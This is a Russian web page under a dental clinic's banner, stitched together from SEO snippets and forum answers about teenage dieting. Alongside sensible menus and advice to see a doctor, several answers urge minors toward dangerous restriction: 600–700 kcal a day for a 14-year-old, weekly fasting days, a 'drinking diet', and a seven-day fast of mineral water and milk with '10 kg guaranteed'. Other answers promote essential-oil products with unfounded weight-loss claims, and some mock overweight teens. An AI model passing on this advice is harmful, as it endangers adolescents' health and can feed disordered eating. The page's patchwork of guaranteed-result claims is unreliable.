Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Подскажите примерное меню для правильного здорового питания подростков?

400 гр овощей разного цвета ( рекомендации ВОЗ) ежедневно и 100 гр мяса ( хотя бы 3 раза в неделю - иначе не будет расти) +..но без газировки, колы, чипсов, соков из пакетов, сладости заменить горьким шоколадом, самое главное 10 000 шагов в день ( для девушки среднего роста это приблизительно 6 км, т. е 1.5 часа ходьбы)

Похудение подростков. Меню для подростка.Полезные продукты для худеющих подростков. Про сладкое, выпечку, печенье, чипсы, газировку и фаст-фуд придется забыть.

Только брокколи и морская капуста )))

Посоветуйте пожалуйста, диету,при которой можно сбросить несколько кг. У меня очень слабая сила воли, и к тому же моя ма

Завтрак полноценный, обед - половина порции, полдник и ужин - кефир.

Всегда актуальная информация о диетах и похудении.Основные моменты диеты для подростка 12 лет. При излишке веса получить консультацию специалиста все же необходимо.Примерное меню для детей 12 лет. Первый завтрак паровой омлет, салат из моркови...

Раз в НЕДЕЛЮ (сутки) ничего не есть, пить 1 литр кефира... За месяц 2-3 кг "слетит"!

Правила питания диеты для подростков
Первым делом необходимо перестать заставлять подростка есть, если он этого не хочет. Особенно эта навязчивая мысль присуща бабушкам, которые вопреки тому, сколько уплетает их любимый внучек или внученька, считают что мало, и пытаются уговорить съесть ещё что-нибудь, а если получают отказ, то начинают «мозговой штурм» . Такие ситуации необходимо исключить, в первую очередь, дабы не травмировать ребёнка.
Диета для подростков должна включать в себя все необходимые для организма витамины и продукты, так как в этот период жизни происходят самые важные процессы в созревании. Чтобы диета не навредила, получите рекомендации от врача относительно рациона ребёнка при диете.
В виду того, что у каждого подростка своё расписание и организовать питание в одно и то же время будет очень сложным, мы приведём вариант питания, от которого вы можете немного отступать в зависимости от обстоятельств.
Диета для похудения подростков
Меню диеты для подростков помогут подобрать родители. Подростковые диеты состоят из пятиразового питания в день, сюда входят: 2 завтрака, обед, полдник и ужин. Правильная и хорошая диета для подростков поможет скинуть до 5кг, в зависимости от степени полноты.
Предлагаем вашему вниманию рацион диеты для подростков за неделю:
1-ый день:
Завтрак: рисовая молочная каша и чай;
Второй завтрак: банан и нежирный йогурт;
Обед: овощной суп и 2 тоста;
Полдник: фруктовый салат;
Ужин: стаканчик нежирного молока и бисквит.
2-ой день:
Завтрак: 2 сваренных яйца в крутую, тост с маслом и салат из овощей;
Второй завтрак: Нежирный йогурт и яблоко;
Обед: Постный красный борщ, небольшой кусочек варёного мяса без жира, ломтик чёрного хлеба;
Полдник: Фруктовая запеканка и стакан обезжиренного молока;
Ужин: 150г мюсли с сухофруктами.
3-ий день:
Завтрак: 200г спагетти с помидором черри, политые 1ст ложкой оливкового масла;
Второй завтрак: 1 тост с бутербродным сыром и стакан молока;
Обед: Грибной суп с картофелем и зеленью;
Полдник: Запечённая картошка и половинка варёного куриного филе;
Ужин: Фрукты.
4-ый день:
Завтрак: Омлет из 2х яиц с помидорами и зеленью;
Второй завтрак: 1 банан;
Обед: Рыбный суп;
Полдник: Творожная запеканка;
Ужин: Филе рыбы запечённое в фольге с салатом из огурца и помидора.
5-ый день:
Завтрак: 100г курицы и 100г гречневой каши;
Второй завтрак: фруктовый салат;
Обед: Суп на курином бульоне с вермишелью;
Полдник: 2 яблока;
Ужин: Картофель в мундире и рыбная котлета.
6-ой день:
Завтрак: Ленивые голубцы;
Второй завтрак: Яблочный сок и бисквит;
Обед: Сырный суп;
Полдник: Небольшая порция винегрета, запечённая рыба и томатный сок;
Ужин: Нежирный кефир.
7-ой день:
Завтрак: 100г овсянки и 100г тушёного мяса;
Второй завтрак: 1 банан;
Обед: Овощной суп;
Полдник: Бисквит и 1 стакан обезжиренного молока;
Ужин: Фруктовый салат заправленный йогуртом.
Питание должно осуществляться в одно и то же время с равномерными перерывами между едой. Учтите, что ужин должен быть не позднее, чем за 2 часа до начала сна. В течение дня пейте больше воды, желательно только негазированной.
Большинство диетологов рекомендуют подросткам чередовать диеты, поэтому после предложенной нами диеты, рекомендуется подобрать другую. Старайтесь подобрать диету так, чтобы она отличалась от нашей.
Также нельзя забывать про физические нагрузки! Это бег трусцой, присидания, отжимания и прыжки!

Как или чем можно побыстрее и эффективнее набрать вес?

У тебя вес нормальный

Диета для подростка 14 лет. Чтобы приступить к диете для похудения, подросток должен понять, что причина избыточного веса это неправильное питание.Поэтому важно объяснить подростку, что нужно не уменьшать количество употребляемых продуктов, а изменять меню.

Мясо, пиво, сон

Занимайся спортом и сразу ешь!
А помоему нормальный у тебя вес!)

Можно забеременеть

И вправду - вес слишком маленький. Твой нормальный вес - 53кг. На помощь: жирный кефир и рис отварной. Кукурузная каша тоже очень колорийная.

Кушать правильно нужно, тогда и вес в нужную сторону тронется. Более того, Вы должны потреблять калорий больше, чем тратите. Однако, нужно заметить, если Вы не будете заниматься спортом, то всё это Вам ляжет мгновенно в жир, наверное, Вы не этой массы все-таки хотите добиться. Поэтому здоровое, дробное, сбалансированное питание + спорт и успех гарантирован.

Правила диеты для похудения для подростков.Подробное меню диеты для подростков на неделю 7 дней Такое меню подойдет как для диеты девочек, так и мальчиков.

Кушай многокалорийную пищу, сладкое, мучное.

Предположим, что ты обращался к врачу и что ты худой не из-за болезни. Как теперь быть? В библейской книге Иов 8:11 говорится: «Поднимается ли тростник без влаги? растет ли камыш без воды? » Как и растению, которое будет цвести лишь в хороших условиях и при надлежащем питании, тебе, чтобы вырасти здоровым, необходимо правильно питаться. Это важно в любом случае: хочешь ли ты поправиться или, наоборот, похудеть.
Не нужно думать, что, начав есть жирную пищу в большом количестве, можно быстрее набрать вес. Исследуя, чем питаются культуристы, диетолог Сузан Клайнер заметила, что они потребляют около 6 000 калорий в день! К тому же, по словам Клайнер, «самое страшное в этом то, что в среднем они съедают более 200 граммов жира в день. Примерно столько содержится в целой пачке масла! Для большинства людей этого количества достаточно, чтобы заболеть. А если регулярно в течение какого-то времени съедать жир в таком огромном количестве, это приведет к заболеванию сердца» .
Согласно Министерству сельского хозяйства США, основу сбалансированной диеты составляют углеводы — они содержатся в хлебе, кашах, рисе и макаронах. Следующими по важности идут овощи и фрукты. Мясо и молочные продукты советуется употреблять лишь в умеренных количествах.
Чтобы контролировать что и как ты ешь, можно вести особый дневник. В течение недели носи с собой блокнот и записывай в него, что и когда ты съел. Ты, возможно, удивишься, обнаружив, что на самом деле ты ешь гораздо меньше, чем ты думал, особенно если ты всегда куда-то торопишься. Если ты подросток, ведущий активный образ жизни, ты легко можешь израсходовать 3 000 калорий в день! Возможно, ты поймешь, что питаешься не совсем правильно: часто перекусываешь на ходу бутербродами и пиццей, а вот фруктов и овощей в твоем рационе не хватает.
Как насчет дорогих пищевых добавок? А нельзя ли вообще без них обойтись? Многие специалисты полагают, что организм может получить все необходимое через здоровую пищу. И, что очень важно, не пытайся быстро решить проблему, прибегнув к анаболическим стероидам. К сожалению, злоупотребление стероидами стало обычным явлением не только среди мальчиков-подростков. Вот что говорилось в газете «Нью-Йорк Таймс» : «Увеличение числа случаев употребления [стероидов] среди девушек — это явление некоторые исследователи считают в какой-то степени противоположным анорексии — достигло уровня, который наблюдался у юношей в 1980-х» . Подумать только, 175 000 американских девушек-подростков признались, что принимают анаболические стероиды! Замечено, что эти препараты имеют множество ужасных побочных эффектов, таких, как ненужные волосы на лице, нарушения менструального цикла, рак груди у женщин и рак предстательной железы у мужчин, закупорка артерий и рак печени как у женщин, так и у мужчин. Стероиды можно принимать лишь по медицинскому предписанию и только под наблюдением врача.

Какие препораты для похудения можно пить подростку девочке 13-14лет

Беговая дорожка

Особенности питания и похудения в подростковом возрасте . Каждый подросток в возрасте от 12 до 16 лет претерпевает психологические, гормональные и физиологические изменения.Примерное ежедневное меню для девочки подростка

Все препораты это слабительные - делай выводы.

Спортзал)))

Исключи из меню сладкое и мучное полностью, за месяц должно уйти 2кг.

Подросткам лучше никакие

Никакие, здоровье посадишь

Диета похудения для подростков будет эффективна только в том случае, если ее меню будет сбалансированным и правильным. Подростковая диета должна обязательно включить в себя употребление жидких овощных супов и различных каш...

Какай больше.. . сбросишь минимум 6-ть кило! А то и 10-ть!

Убийственные.

Итак как похудеть, что же для этого требуется? Во-первых, необходимо значительно снизить калорийность рациона. По возможности максимально ограничьте употребление в пищу жирных блюд. Помните, что один грамм жира при расщеплении в клетках нашего организма даёт вдвое больше калорий, чем один грамм углеводов или белков. Чем меньше жирных блюд в вашем рационе, тем больше шансов у вас похудеть в домашних условиях всего за одну неделю. Ограничьтесь небольшим кусочком сливочного масла для бутербродов или приготовления каши и одной-двумя ложками растительного масла для овощного салатика (полностью исключать жиры из рациона тоже не следует, так это может привести к нарушениям обменных процессов и ухудшению здоровья) . Во-вторых, категорически откажитесь от всевозможных сладостей и кондитерских изделий. У таких продуктов также довольно высокая калорийность, при этом в их составе очень много сахара. Этот углевод очень хорошо усваивается в организме и при избыточном поступлении способствует быстрому формированию избыточной массы тела, поэтому при желании похудеть за неделю лучше вовсе исключить сладкие изделия из рациона. Вполне достаточно одной-двух маленьких ложечек сахара, содержащихся в чашке чая или кофе. Если же вы любите частенько попить чая в домашних условиях или на рабочем месте – лучше наслаждайтесь этим напитком без сахара. В-третьих, старайтесь поужинать не позднее шести-семи часов вечера. В таком случае калории, поступившие с пищей в организм, успеют полностью израсходоваться и не будут откладываться в виде избыточного количества жировой ткани. Если же в домашних условиях перед сном вам невыносимо захочется покушать, то помните, что поздний ужин очень способствует увеличению веса вашего тела и появлению «лишних» килограммов. Если вы действительно желаете похудеть за неделю хотя бы на пару килограммов, то ограничьтесь употреблением на ночь стакана обезжиренного кефира – он не позволит остаться вашему желудку пустым, устранит чувство голода, обеспечит ваш организм белком и одновременно не принесет большого количества калории

Диета для подростка (14 лет)

Жри меньше, и всё. Это самая правильная диета для любого возраста. Можешь не возражать - толстеют только от того, что жрут как свиньи. Хотя сами так не считают, конечно.

Диета для похудения подростков. Меню диеты для подростков помогут подобрать родители. Подростковые диеты состоят из пятиразового питания в день, сюда входят 2 завтрака, обед, полдник и ужин.

Скакалка, поднимать ноги, скакалка, поднимать ноги. Вычислить нужное кол-во калорий, чтобы меньше получать и больше тратить.

А жрёшь много? питатся тоже надо правильно

За несколько недель у тебя это не выйдет, на диете без вреда. Садись на правильное питание и вреда не будет. Но если надо срочно похудеть, то сядь на питьевую и намного быстрее скинешь (только выход правильный сделай и норм будет).

Диеты для подростков 12-13-14-15 лет
Эти варианты подростковой диеты лучше всего чередовать. То есть, 1-й день - первый вариант, 2-й день - второй вариант и так далее.
Благодаря этому, Ваш растущий организм будет получать все необходимые микроэлементы и витамины.
На возникающие вопросы по меню подростковых диет мы постараемся максимально быстро отвечать в обсуждении внизу этой страницы.
1 вариант
Первый завтрак: гречневая каша (100 г) и филе курицы или индюка (150 г), несладкий чай.
Второй завтрак: стакан молока.
Обед: густой овощной суп с зеленым горошком, тост с маслом (20 г) и сыром (50 г), 1 яйцо.
Полдник: йогурт, яблоко.
Ужин: одна запеченная картофелина с зеленью, помидором и сладким перцем.
2 вариант
Первый завтрак: молочная рисовая или овсяная каша (150 г), чай.
Второй завтрак: йогурт и яблоко.
Обед: маленькая тарелка постного красного борща, вареная куриная грудинка (150 г).
Полдник: стакан нежирного кефира.
Ужин: отварные овощи, стакан молока.
3 вариант
Первый завтрак: спагетти из твердых сортов пшеницы (150 г) с ложечкой оливкового масла, помидор.
Второй завтрак: стакан молока и тост с нежирным сыром.
Обед: винегрет (200 г) с постным мясом (150 г), томатный сок.
Полдник: любые орехи, но не более 40 г.
Ужин: запеченая рыба с овощным салатом.
4 вариант
Первый завтрак: 2 яйца всмятку, тост с маслом, сок.
Второй завтрак: банан.
Обед: отварная говядина или телятина (200 г), салат из свежих овощей с лимонным соком и ложечкой оливкового масла. Компот из сухофруктов.
Полдник: фрукты ( 2 киви, 3 мандарина, 1 апельсин - на выбор).
Ужин: 150 г творога с ложкой меда, стакан молока.
5 вариант
Первый завтрак: тарелка рисового супа с фрикадельками, кусочек черного хлеба, посыпанного зеленью.
Второй завтрак: сок и тост с нежирной ветчиной.
Обед: порция курицы с тушеными овощами.
Полдник: яблоко.
Ужин: печеная картофелина, помидор, 50гр нежирного сыра.
Подростковая диета хорошо сбалансирована и не доставит Вам неприятностей.
Внимание!
1. Перед тем, как задать вопрос по подростковым диетам, просмотрите, пожалуйста, все комментарии. Возможно, такой вопрос уже задавался.
2. На вопросы от Анонимов - не отвечаю (так как не знаю, как к Вам обращаться)!!!
3. Все ответы носят только рекомендательный характер.
4. Сразу отвечаю на самый популярный вопрос: "У меня толстые: живот, талия, бедра и т. д. " - при похудении вес сбрасывается со всего тела, а подкорректировать проблемную зону можно упражнениями:
Упражнения для бедер
Упражнения для плоского живота
Упражнения для талии

Вообще видела одну интересную статью, где задавали похожий вопрос.
На первую неделю в рацион включаете салаты, свежевыжатые соки, каши. Лучший режим пищи: 2-3 раза в день, перекусы должны быть витаминизированными: овощи/фрукты/мюсли. В течении всей недели уменьшиваете углеводы, желательно не отклоняться и от спорта тоже.
В итоге, за 3 недели такого графика уменьшиться вес приблизительно на 2-3 кг, но если нагрузок будет больше - то и результат соответственно будет выше :)
Удачи Вам!

В процессе похудения для подростков уже будет заметен эффект, если любимую сдобу есть не ежедневно, а 1 раз в 3-4 дня. При решении проблемы, как похудеть подростку 14 лет, дневное меню реб нка может выглядеть примерно так

Дробное питание 5 -6 раз в день. Углеводы исключить: конфеты, булки, торты, сахар. Чай пить с медом без сахара. Утром каши, больше овощей. Хорошая геркулесовая каша. Огурцы, пекинский салат, помидоры, арбуз, зелёные яблоки, суп. Бе больше 200 грамм за приём. Последний приём пищи за час до сна. Когда не ешь после 18, у организма стресс и он откладывает жиры, лучше вечером фрукты, но не бананы

Я тоже в 14 лет страдала лишним весом. Я много ела. И мало двигалась. Это были две мои главные проблемы. Мой рост был 152, а вес 59. Потом начала ходить на фитнес ежедневно (либо зал, либо групповое занятие - степ). Из рациона мне пришлось полностью исключить сладости, печеное есть я могла только утром (один бутерброд с сыром плавленным), а обед разные блюда, основанные на диете Дюкана.
Все виды блюд и разнообразное меню Вы можете найти здесь) http://www.mydukan.ru
А вообще в Интернете множество сайтов по диете Дюкан. Преимущество этой диеты в том, что практически не нужно отказываться от многих продуктов + меню очень разнообразное, полезное и вкусное. Попробуйте;). Успехов Вам!!!

Лучшая диета это понизить количество потребляемых калорий в сутки. То есть в твоем возрасте норма 900-1000 ккал., тебе нужно снизить вес соответственно снижаешь и потребление калорий в зависимости какой результат хочешь получить, я бы порекомендовал от 600 до 700 калорий, но также нужно соблюдать баланс питательных веществ (белков, углеводов, жиров) попробуй такую пропорцию 70% 20% 10% от потребляемых калорий. Советую отказаться от сладкого, мучной продукции, жареного, соленого, копченого, вяленого. Ешь продукты натуральными вареными, печеными но без соли и сахара вообще. Результат гарантирован 100%!!!

Нюр.
Тебе четырнадцать. Ты сейчас как раз из девочки превращаешься в девушку.
У тебя сейчас и так будет не пойми что в организме. Может, не надо еще и диетой насиловать себя?
Тем более восемь-двенадцать килограмм за несколько недель. Это диетолог современный радостно взвизгнет от такой цифры. А эндокринолог, врач - он в ужас придет. Двенадцать килограмм - это не на месяц задача. Это полгода-год.
Я сам жирноват. Столкнулся с диетой, правда, не для похудения. а по рекомендации врача, для профилактики подагры.
И скажу тебе так - если говорят "на завтрак ешь пятьдесят грамм пророщенного зерна и две столовые ложи... " - отбеги подальше, закрой уши и не слушай ни за что. Оставь это взрослым сформировавшимся тетям.
Не диета тебе нужна, а правильное питание.
Мяса - поменьше.
Овощи, фрукты, зелень - побольше.
Пельмешки, колбаски, консервы, прочие полуфабрикаты - забыли совсем.
Газировка, чипсы, все такое - туда же.
Пироженки и тортики - туда же. ну изредка можно, пару раз в месяц, чтобы не забыть, как они выглядят.
Ну и спорт- у тебя с этим все в порядке.
Все. Просто, скучно и неинтересно. Можешь сказать "да ну, это все знаю, это никому не помогает"...
Я тоже так думал, пока не попробовал. Помогло. Весил 97 кг, сейчас 84. И дальше не худею, потому что просто не хочу, я вот в этом весе себя хорошо чувствую.

Ребят мне 13 лет вес 95кг рост 166 см реально ли похудеть в период с 1июня по 1сентября на 20-25кг?

Всё зависит от тебя

Джени Диеты для подростков для похудения диета для подростков 13, 15 и 17 лет, меню диеты - подробная и актуальная информация, отзывы посетителей, подробный разбор специально для женщин, девушек и девочек.

Ну при усилии можно постараться

За 3 месяца 20 кг по-моему слишком быстро, могут появиться растяжки которые никогда не исчезнут. Можешь месяцев за 5 похудеть на 25 кг.

Конечно можно, каждый день метров 300 бегай, меньше есть, больше гуляй, купайся. Ну вроде все!)

Я с первого июня сажусь на яичную диету ( вес 80, возраст 12 лет) давай со мной)

Пойми ---чтобы чего то добиться ---этим надо жить ...
Ты действительно хочешь похудеть? Тогда у тебя ужин должен быть в 5 вечера ---
И ВСЁ !!!Потом до утра можно только пить чай или воду ...
Дерзай ---если ты действительно готов ...

Меню для похудения для подростков. Диета для похудения для подростков не очень сильно отличается от диеты для взрослого человека.

От ежедневных 300 метров бега 20-25 лишних кг никуда не денутся, увы (((
Чтоб с бега была польза нужно бегать подряд минимум час и только после этого начинается процесс сжигания жира. С 95 кг летом по жаре сердечко такое может не выдержать с непривычки то. А вот длительные оооооооочень длительные прогулки на свежем воздухе быстрым шагом - вещь хорошая и не такая опасная. Если летом придется сидеть в городе, то походы в фитнесс-клуб на кардиотренажеры через день по 3 часа (там можно выбрать подходящий тренажер и нагрузку постепенно увеличивать) . Плаванье ни кому не помешает. И естественно у холодильника не пастись, сладкое и мучное не есть, минимум соли, отдавать предпочтение овощам (не картошке) , майонезом их не заправлять, пить желательно чистую не газированную воду литра по 2.

Запишись на бокс или книг боксинг там так классно и похудеешь и фигуру сделаешь 1 сентября девочки офигеют. Ну конечно сходи к эндркринологу

13 лет вес 43

У меня было 87 кг в 16 лет, я сбрасывала при помощи бега (начинала от 1круга 800 м) , убирала ряд продуктов (было ооочень тяжко) , плавание и покупала не дорогие обёртывания с вытяжкой перца (жестокая штука) , плюс обруч (нужно иметь силу воли нереальную, результаты стала чувствовать через 2 недели, НАЧИНАТЬ ОТ 1 МИН И ПРИБАВЛЯТЬ ПО 1 МИН КАЖДЫЕ 2 ДНЯ, для усиления эффекта, делала на шпильках) и перед каждым приёмом пищи выпила 0,3 л воды холодной (меньше есть хотелось) . При жоре на ночь позволяла себе только бородинский хлеб и свежие огурцы) . Хорошо помогает имбирнолимонный чай. Но 20 кг за 3 мес опасно, лучше около 12кг, сбросить, а потом продолжать. За 7 мес сбросила 24 кг. Все занятия проводила КАЖДЫЙ ДЕНЬ!
В любом случае, просто диета не поможет или просто спорт.

Сейчас тут надают массу идиотских советов. Каждый человек индивидуален и то что подходит для одного-для другого может оказаться опасным для здоровья и даже жизни. Начать надо с похода к врачу (возможно для начала и не к диетологу, а к терапевту) и сдачи анализов.

Поэтому и диета для похудения подростков в разном возрасте должна быть разной.При такой диете, помимо соблюдения меню, нужно исключить из рациона питания все мучное и сладкое. А если подросток не может обойтись без сладкого, то лучше заменить его...

В первую очередь ты должен понять у тебя на рушился обмен веществ, поэтому для его восстановления тебе понадобится не только диета, а целый комплекс, чтоб вес ушел и больше не вернулся. Итак:
Соблюдай режим, обязательно в 22ч отбой в 7подьем,
Начни с легкой зарядки, приседания, растяжка, и с каждым разом увеличивай по одному подходу, сразу не давай большой нагрузки, как вес сойдет хотябы 5кг начни бегать начни с 1км через день, с каждым разом увеличивай на 200метров, и так постепенно до 3км, привыкнешь, не забрасывай.
Водные процедуры, утром каждый день : контра ныл душ, поливаешь область сгибов ( лимфу) , и вечером перед сном освежающий душ.
Витамину купи обязательно: купи комплекс для подростоков, и также обязательно рыбий жир, без него будет сложно восстановить обмен веществ ( пусть тебя не пугает что это жир)
Выкинь из дома все сладости, хлеб, макароны, картошку. Замени на каши (гречка, овес, перловка, ячмень, чечевица) пей много воды ( не менее 2литров в день, за 20мин перед едой) ешь много зеленых овощей, и фруктов. Поменьше фруктов побольше овощей. Масло для жарки выкинь, замени жареную еду на пареную или вареную, или запеченную . Из мяса ешь только постную часть туши, у курицы грудину и крылья, больше никогда не ешь сосиски и колбасу, выкинь всю еду не естественного происхождения, только все натуральное и без содержания ГМО, пей отвары из трав вместо чая, календулу, бузину, полынь, клевер, лопух, заваривай по чуть чуть смесь этих трав в термос и пей каждый день.
Летом ешь много свежих ягод, зимой ешь рябину. Всегда будешь красив и здоров.
И самое главное думай о хорошим не нервничай люби родных и эту замечательную красивую жизнь, улыбайся каждое утро восходящему солнцу, ходи пощаче в лес, или к речке, снимай обувь гуляй босиком по траве, не обижай никого и никогда, даже насекомых, будь мелосерден, и ты будешь прекрасен словно ангел спустившийся с небес, к тебе будут тянуться люди, ты будет святится как лучик солнца.

Знаешь, можешь худеть, а можешь и нет. Если ты беспокоишься о своем будущем, то не стоит. Для каждой женщины найдется свой мужчина, который будет видеть идеал в ней. Поскольку на свете очень много полных мужчин, которые не знают, что делать и вообще им некогда худеть, везде: ремонт машины, покупки, машина, дом, работа, покупки. И представляешь, они все думают, что найдут такую же полную женщину их мечты, но нет, каждая полненькая худеет, а им на одну меньше. Но если так хочешь, то лучше походи в спортзал, а если будешь сидеть на "особой" диете, то только скоротишь себе жизнь.

Худеть нужно во время учебного года, когда ты меньше времени проводишь дома рядом с едой. в школе ты и на занятиях много калорий потратила бы. но уже поздно.
летом все люди худеют за счет жары. выходит лишняя жидкость из организма. это сыграет тебе на руку. запомни! если ты будешь быстро худеть на моно-диетах, то ты после них наберешь в разы больше.
с твоим весом жир начнет быстро уходить. полным людям легче терять массу, чем худым.
итак, все что тебе нужно - это научиться считать калории. ты должна за день потреблять калорий меньше, чем тратишь.
вот таблица калорийности http://www.azbukadiet.ru/tablicy-kalorijnosti
а вот калькулятор сжигания калорий http://www.woman.ru/health/medley7/article/48711/
у тебя наверняка желудок большой и ты кушаешь много. первую неделю ты должна его уменьшить. начни сегодня (до лета) кушай все, что хочешь, но ровно столько, сколько помещается в ладошке. а с лета начни считать калории.
перед едой выпивай два стакана воды.
и спорта должно быть дофига! ! вот я похудела с 80 кг до 60, благодаря подсчету калорий любимых и баскетболу. начни хотя бы с ходьбы на дальние дистанции. просто быстро гуляй. а уже потом начни бегать насколько выносливости хватит.
не подведи меня, я старалась, когда это писала. херово будет, если мои труды окажутся напрасными, а ты в первый же день сорвешься. удачи, киска.

Если не хочешь расти, то возможно, хотя организм может взбрыкнуть и наоборот вымахать в долговязого дистрофика

Занимайтесь спортом и похудеете!

Диета для подростков для похудения. Примерное меню диеты для подростков для похудения. Из чего должна состоять диета для подростков для похудения. Можно ли подросткам проводить разгрузочные дни?

Ну бег по утрам может помочь на велосипеде можешь ездить но мне кажется что за три месяца похудеешь максимум на 10 -15 кг

Тот, кто ставит цель идёт к ней-добиваеться, как бы трудно ему не было. Я думаю это реально, каникулы, как раз для этого и даны, чтобы в сентябре пришел другой пацан и покорил девченок! Надо консультироваться с эндокринологом, диетологом, фитнес тренером. Бег, велосипед, плаванье тебе в помощь, но главное поменять мысли, которые у тебя в голове, позитивный настрой! Удачи!

Как это, в 13 лет 93 кг? Ты весишь больше, чем моя мама. , и я. Ну, ладно шутки в сторону. Я не буду смеяться. Просто, не ешь мучного, сладкого. А только фрукты и овощи. Удачи!

3 кг в месяц. дальше сам считай. больше 3 кг-вредно и опасно

Если ты сильно этого захочешь

Рекомендации для похудения подросткам. Для каждого подростка можно составить собственную диету, сМеню диеты для подростков можно комбинировать по своему желанию. Не забывайте, что без физических нагрузок будет трудно быстро избавиться от лишнего веса.

Ты же парень! Иди в зал, с такой массой ты наберешь огромный результат за это время. Ко всему прибавь бег, но с диетой в зале будешь еле заниматься, так что лучше целыми днями заниматься, может и трудно, но в возрасте такой вес скажется очень плохо.

Привет! Нужно комплексное очищение организма, больше воды и активный образ жизни. Могу порекомендовать смесь из эфирных масел "Комплексное очищение"
http://www.aromatherapy.ru/estore/lechebnye-sostavy-iz-efirnykh-masel/smes-efirnykh-masel-24-kompleksnoe-ochishchenie/
В пузырьке 300 капель, и по 1 капле на мед или сахар 3 раза в день - пить воды от 2 литров обязательно!!!! В дополнение еще поможет скорректировать аппетит: Диетол
http://www.aromatherapy.ru/estore/liniya-dlya-pokhudeniya-i-korrektsii-vesa/smes-dlya-korrektsii-vesa-2-dietol/
За месяц от 5 до 10 кг, плюс без изнурительных диет и естественное восстановление работы органов и систем.

Привет, я также как и ты страдал лишним весом в прошлом году, сначала перепробывал все виды тренировок - результата никакого (возможно и был, но маленький за 3 месяца то) потом в интернете я наткнулся на блог, в котором было рассказано про калланетику. Это конечно было для девочек, но я решил, что уже терять нечего и по видео, которое там прилагалось я начал заниматься. Результат: я с веса 87,6 стал весить 73,2. У меня даже мышцы немного проявились, которые я немного накачал. Занимаюсь полтора месяца и буду заниматься дальше, а вот ссылка на тот сайт http://thebestliv.blogspot.ru/2014/05/blog-post_7038.html

Конечно сможешь, абсолютно реально. почитай про сыроедение, штука классная, самое интересное можно есть, хоть круглые сутки без остановки, лишний вес уходит и болезни. Супруг избавился от лишнего веса и астмы за короткий срок. Удачи!

Ух тыж ежик. В килограмме жира почти 8000 килокалорий, итого тебе в 13 лет надо потратить 160.000 килокалорий. Получаем как минимум 1000 кило калорий в день, такое даже взрослому не под силу. Если правильно будешь питаться через года два сможешь нормализовать вес, но не раньше.

Правильное питание для похудения меню для мужчин. Для мужчин ожирение особенно опасно, поскольку оно провоцирует возникновение инфарктов и инсультов.Правильное питание для похудения разработка меню для подростков.

Тебе нужно считать сколько калорий ты ешь за день (не более 2000 за один день) , нужны физ. нагрузки (начни с простой ходьбы по 40-60 мин. днём или вечером без остановки) , старайся после 6 не есть совсем, а утром можно есть горький шоколад с кофе, и, скажем, яичницу. Днём можно салат с маслом, творог (обычный) и т. д. Но не перестарайся. Если совсем ограничишь себя, например, в белке, то твой организм будет страдать (выпадать будут волосы, слоиться ногти, не будет сил и мышечная масса будет истончаться) , и что бы кто ни говорил, не исключай сахар! Это глюкоза в первую очередь, и если исключишь, то мозгу не на чём будет работать. Помни, что худеть надо с умом, а не голодать.
Удачи тебе!

Иди на турники (мой друг 10 кг за лето скинул) ,брусья, отжимания, бегай, но поначалу лучше длительная прогулка на свежем воздухе, правильно питайся 5 раз в день.

А почему нет) в 13 лет рост 1.66 высокий плюс)!!! исключи сладкое, жирное мучное. Больше пей жидкости) фрукты) ( кроме бананов) ЗАРЯДКУ ДЕЛАЙ С УТРА)) ) СОБЛЮДАЙ ЭТИ ВСЕ УСЛОВИЯ, И ВЕС НАЧНЕТ УМЕНЬШАТЬСЯ)))

Нет

Можно.
Начни сначала с очищения организма, уже потеряешь несколько кг!
Исключи из пищи жирное, жаренное, сладкое и мучное!
Либо кушай все это утром, в течении дня питайся легкой пищей!
Не кушай за 3ч до сна.
И конечно спорт, хоть какой, но присутствовать должен.
Удачи.

Диета для подростков 13-14 лет для похудения. Примерное меню диеты для подростков 13 лета.Диета для подростков 13-14 лет должна быть разнообразна по меню, но включать большое количество овощей и фруктов.

Семидневное разгрузочное голодание. (Рецепт разработан медиками) Можно практиковать разгрузку каждый месяц. Потеря веса при первой разгрузке - 10 кг-стопроцентно гарантирована. При повторных - не больше 3-4 кг. 1 день - 1 бут. минералки делится на 6 порций. 2 день - обезжиренное молоко 0.8 литра в течение дня. В 20-21 час-одно яблоко. 3 день - 1 бут. минералки в течение дня. 4 день - овощной. Салат (литровая банка) - капуста свежая; морковь; зелень. В салат добавляется 1 ст. л. растительного масла. Салат делится на 3 части. В этот день можно выпить 2 ст. воды или 2 ст. чая. 5 день - молоко 0.8 литра в течение дня. 6 день - завтрак 1 яйцо отварное; 0.5 чашки чая. В 11 дня - стакан овощного отвара (только бульон) из картошки, капусты, моркови, любых овощей. Обед - 100 гр. мяса (это примерно 4 спич. коробка) плюс 100 гр. консервированного зел. горошка. Полдник - яблоко. ужин - яблоко. В 9 вечера - яблоко. 7 день - 100 гр. творога плюс 2 ст. молока или 1 бутылка кефира. Вечером можно только 1 ст. чая. Преимущество этой диеты - доступность, никакой экзотики и дешевизна. Стопроцентная гарантия потери 10 кг. веса. Диета для людей с силой воли.

Присоединяюсь к тем, кто советует для начала сходить к врачу! Во-первых, это реальный шанс узнать почему у тебя в 13 такой вес (мягко говоря выше нормы) и во вторых, узнать от грамотного специалиста как тебе этот вес корректировать. Конечно, это очень тяжело, но пусть тебя ничего не пугает - лучше поднапрячься в 13 лет, чем решать проблему с лишним весом в более позднем возрасте. Найди себе обязательно единомышленников или просто тех, кто тебя поддержит и ты преодолеешь все трудности. Поверь, это не пустые слова-когда ты не один - ты сила!!! А СОВЕТОВАТЬ ДОЛЖНЫ ВРАЧИ-ПРОФЕССИОНАЛЫ!

Возможно все, только надо постараться) Вот пару советов
1. Исключи из питания сахар, соль и все жирное
2. Перед тем как собираешься кушать, сделай салат и съешь его или еще можешь выпить воды, таким образом организму понадобиться меньше еды.
3. Обязательно займись спортом, утром или вечером можно побегать, если нет возможности ходить в спорт зал, занимайся дома. Есть множество упражнений благодаря которым можно сжечь калории, об этом поищи в интернете.
Думаю ты все сможешь. ) Удачи!

Я в армии за первый месяц службы на 17 кг похудел, а все потому что нас там гоняли. Значит так, запишись в качалку и не бойся тебя там ни кто не съест и занимайся, вес уйдет и не заметишь. Только с начало к доктору сходи и узнай: позволяет ли тебе здоровье спорт залы посещать.

Как? Как ты себя довела до такого? Постарайся есть по минимуму и здоровую еду, занимайся спортом. За три месяца вряд ли сильно похудеешь, но результат будет постепенным, зато надолго.

